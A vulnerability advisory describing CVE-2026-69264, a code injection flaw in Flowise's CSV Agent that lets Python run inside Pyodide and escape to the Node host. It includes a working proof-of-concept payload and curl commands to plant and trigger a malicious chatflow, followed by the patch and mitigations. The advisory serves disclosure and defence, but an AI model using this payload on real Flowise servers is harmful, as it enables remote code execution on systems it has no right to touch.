criticalCVE-2026-69264Aug 4, 2026

CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Flowise's CSV Agent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python script that runs inside Pyodide, letting anyone who can create a chatflow write files or…

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE

The problem

In CSVAgent.ts, the run() method splits the csvFile data URI on commas and pops the second-to-last segment into base64String. That value is then placed verbatim inside a Python source template: base64_string = "${base64String}", which Pyodide executes with runPythonAsync.

No format validation is applied to base64String before it reaches the template. The two existing validators (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) only cover the LLM-emitted code and the customReadCSV field, never this bootstrap path.

Pyodide is loaded with default options, which on Node.js exposes the js bridge to globalThis. That bridge gives injected Python direct access to js.eval and dynamic import(), letting the attacker break out of the WASM sandbox and reach the host Node process.

A user with chatflows:create plants the flow once; after that the trigger endpoint POST /api/v1/prediction/:id is whitelisted and unauthenticated.

Proof of concept

A working proof-of-concept for CVE-2026-69264 in flowise, with the exact payload below.

python
# Craft a csvFile data URI whose third comma-separated segment is the injection.
# The segment must be comma-free (commas would be split away by CSVAgent.ts:135-137).
# \u002c is Python's unicode escape for comma, invisible to JS's split(',') but
# resolved by Python's lexer at runtime, allowing multi-arg function calls.

# Injection segment (becomes base64String after the two pop() calls):
# Closes the open string literal, runs malicious Python, comments out the trailing quote.

PYTHON_INJECTION = (
    '";\'\n'
    'import js\n'
    'await js.eval("(async () => { const fs = await import(\'fs\'); '
    'fs.writeFileSync(\'proof.txt\'\\u002c \'pwned\'); })()")\n'
    '#'
)

# Assembled csvFile data URI sent as the node\'s csvFile input:
# data:text/csv;base64,A,<PYTHON_INJECTION>,IGNORED
#
# After CSVAgent.ts splits on ',' and pops twice, base64String = PYTHON_INJECTION.
# The Python passed to pyodide.runPythonAsync becomes:
#
# base64_string = "";
# import js
# await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('proof.txt', 'pwned'); })()")
# #"
# decoded_data = base64.b64decode(base64_string)   <- runs after RCE fires

# HTTP trigger (unauthenticated once the chatflow has no apikeyid):
# Step 1 - plant the flow (requires chatflows:create):
# curl -X POST https://target/api/v1/chatflows \
#   -H 'Authorization: Bearer <api-key>' \
#   -H 'Content-Type: application/json' \
#   -d @evil-csvagent-flow.json
#
# Step 2 - trigger (no auth needed):
# curl -X POST https://target/api/v1/prediction/<flow-uuid> \
#   -H 'Content-Type: application/json' \
#   -d '{"question":"go"}'

The root cause is classic eval injection (CWE-94 / CWE-95): user-controlled data lands inside a source-code string that is later executed. The split(',') + pop() + pop() chain in CSVAgent.ts extracts whatever the attacker puts into the third comma-separated field of the data URI, and TypeScript template literals blindly paste it into Python source code.

Pyodide amplifies the impact. Loaded without a restricted jsglobals, its js module bridges to Node's globalThis, exposing js.eval and dynamic import(). Injected Python can therefore call (await import('child_process')).execSync(...) in the host process, completely escaping the WASM sandbox.

The patch (commit f4e2794f6a576b94578f2fdafbf49c2fb304626c, PR #6499) removes the interpolation entirely and passes the value through pyodide.globals.set('base64_string', base64String) instead. The Python template then references the variable by name with no string literal, so no injection is possible regardless of what the value contains.

The fix

Upgrade to flowise 3.1.3. The fix replaces template-literal interpolation with pyodide.globals.set('base64_string', base64String) so the value never enters Python source text. As defense-in-depth: validate base64String against ^[A-Za-z0-9+/=]*$ before use, load Pyodide with { jsglobals: {} } to disable the js bridge, and restrict chatflows:create / agentflows:create to trusted users.

Until you can upgrade, set chatflow.apikeyid on every CSVAgent chatflow so the prediction route enforces authentication.

Reporter not attributed.

References: [1][2][3][4][5]

Related research